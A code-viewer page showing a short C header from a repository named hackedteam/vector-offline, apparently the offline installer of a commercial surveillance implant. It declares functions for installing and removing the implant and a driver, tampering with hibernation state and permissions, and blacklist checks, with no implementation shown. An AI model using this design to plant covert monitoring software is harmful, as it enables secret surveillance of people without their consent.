hackedteam/vector-offline

View on GitHub
OfflineInstall/Functions_RCS.h

Summary

Maintainability
Test Coverage
extern BOOL ReadRCSInfo(rcs_struct_t *rcs_info);
extern BOOL RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
extern BOOL GetSourceFileDirectory(users_struct_t *curr_user, os_struct_t *curr_elem, rcs_struct_t *rcs_info, WCHAR *src_path);
extern BOOL RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
extern BOOL DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count);
extern BOOL DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list);
extern void InvalidateHybernated(os_struct_t *os_info);
extern BOOL IsHybernated(os_struct_t *os_info);
extern void RestoreHybernationPermissions(os_struct_t *os_info);
extern void ModifyHybernationPermissions(os_struct_t *os_info);
extern DWORD IsDangerousString(WCHAR *, os_struct_t *os_info);
#define BL_BLACKLISTED 0
#define BL_SAFE 1
#define BL_ALLOWSOLDIER 2